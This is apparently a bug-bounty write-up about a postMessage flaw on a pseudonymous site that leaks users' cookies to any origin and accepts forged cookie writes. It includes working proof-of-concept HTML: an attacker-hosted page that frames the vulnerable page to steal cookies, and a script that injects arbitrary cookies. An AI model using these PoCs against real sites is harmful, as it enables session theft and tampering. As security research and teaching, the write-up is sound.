Exploiting post message to steal and replace user’s cookies

Hi

While reviewing the history of logged HTTP requests related to a target i found a sink which helped me to exploit post message and steal or edit user’s cookies.

Unfortunately most of my findings belong to private programs so we are not going to disclose the full details :(.

#Background

Ever had the need to communicate between windows or the current window and an inner iframe? Across domains as well? I bet you have, but now we have a nice option for doing that!

The solution is called postMessage and is part of the HTML5 Web Messaging specification.

Let’s take an Example

In this example we will have one containing page with js lines to listen for incoming messages and log them.

code in main page

<script>
function messages(event)
{
console.log(event);
}
window.addEventListener(‘message’,messages,false);
console.log(“listening”);
</script>
<iframe src="url/child.html"></iframe>

and one line in child page, sending a message to the parent.

Code in child page

window.parent.postMessage("Hello parent", "target");

What happen?

  • First you visit the main page which renders and load the child page.

. Child page sends a message to it’s parent and the parent receives it and log it via console.

Do you see any security concern here?

  • Can you think what happens if the user can control the value of target
  • What if the child page is vulnerable to clickjacking

Tip

If the target origin is asterisk * the message can be sent to any domain has reference to the child page.

Depending on the context.This can lead to high-severity issues.Let’s demonstrate with an actual example found in a high profile company.

Back to the finding.

We are calling our target onga.com , What does it mean?

Anyway, i spidered the domain and started to look for something interesting. Traversing all crawled pages , My scanner captured a HTML file sync.html with small number of lines of html contents .

it was reported has insecure Javascript statements.

insecure Code detection

The file has no elements rather than a script tag , it seems that it works as a bridge.

looking inside the sync.html file , i noticed a post message is sent to a variable named wOrigin

window.parent.postMessage(JSON.stringify(msg), wOrigin);

We have two main variables now : msg and wOrigin

i scrolled up and down to see where these variables are being initialized , are they under my control?

Surprisingly the msg variable was the cookies and the other was user’s input.

looking for the second variable , fortunately i found only 3 occurrences no more.

First look at the this snippet , observe the following lines:

        var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;

the code is very simple ,

  • first it access the current window url hash
  • Decodes it
  • Parses as json object
  • Creates new two variables ns which stands for namespace and wOrigin window origin

This is well-known as sink window.location.hash when you see it you should try to exploit as dom-based xss. But this is not our issue here.

Quickly i continued looking to other code lines to see if these variables ns and worigin are being sanitized somehow before passing to postmessage and luckily they were not.

Moving to exploit

We need to reverse the process

  • Create two variables ns and wOrigin
  • Assign them ns=anyblahand wOrigin=*
  • Create as json object {"ns":"anyblah","wOrigin":"*"}
  • create the poc url :
  • http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}

When the page loads a post message will be sent to the parent regardless the origin , we used the wildcard * to work with any origin.

Now we need to set up a listener in the parent page to receive the message.

<script>
function rcv(event)
{
console.log(event);
}
window.addEventListener('message',rcv,false);
</script>

Create an iframe to load the vulnerable page as a child.

Full poc

<script>
function rcv(event)
{
console.log(event);
}
window.addEventListener('message',rcv,false);
</script>
<iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />

When you open http://attacker.com/poc.html , the listener will run and wait for incoming messages , iframe will be loaded , the vulnerable page will land in the iframe and sends the message holding the cookies to the parent wihch is attacker’s site, finally it will be captured and logged which in our case contains user’s cookies leaked to the attacker.

Are we done ???

Of course not , do not go to celebrate as i used to , you are probably forgetting a lot, Let’s get more fun, since the file contains only 57 lines , i decided to read all of them carefully.

I found another amazing line.

window.addEventListener('message', h_message);

quickly started to look at the contents ofh_message function:

function h_message(event) 
{
var data = null;
try { data = JSON.parse(event.data); } catch(e) { return;}
if (data.msgType !== "write" && data.namespace !== ns) {
return;
}
setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly);
}

Let’s understand what the function is intended to do?

  • The incoming message is supposed to hold json object.
  • Json object should contain attribute msgTypeand it must be equal to write
  • Another attribute namespace and it should be identical to the one exists in location hash "ns", both are under user’s control.
  • one of these conditions must be met not both , because the developer used negative AND operator ,it is not a serious issue by the way
  • if so , the validation will be false , the return statement wont be reached and a call to another function will be executed setCookie() containing other json attributes as parameters.

This is indeed vulnerable , there is no validation on message origin so any website can send a message and pass malicious values to setCookie function.

From the code above , i constructed the following json :

{"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}

And the targeted url will be /sync.html#{"ns":"a","wOrigin":"*"}

the full poc file will contain :

<script>
var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}';
var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false};
var c= window.open(tar,"child");
c.postMessage(pay,"*");
</script>

Saving the file as html and opening it , the cookie was injected successfully and i was able to inject arbitrary cookies on behave of the vulnerable website.

Tip2

  • If the page is protected against clickjacking , you could use window.open('url')

Video for poc1

Poc1 for stealing cookies

Regarding the tool , it does nothing rather than requesting the url and searches for the following pattern :

(\.location\.hash)|(window\.addEventListener\('message')|(\.postMessage\()

Ref

For any question , DM me on twitter or use https://ask.fm/yasserGersy

Happy Researching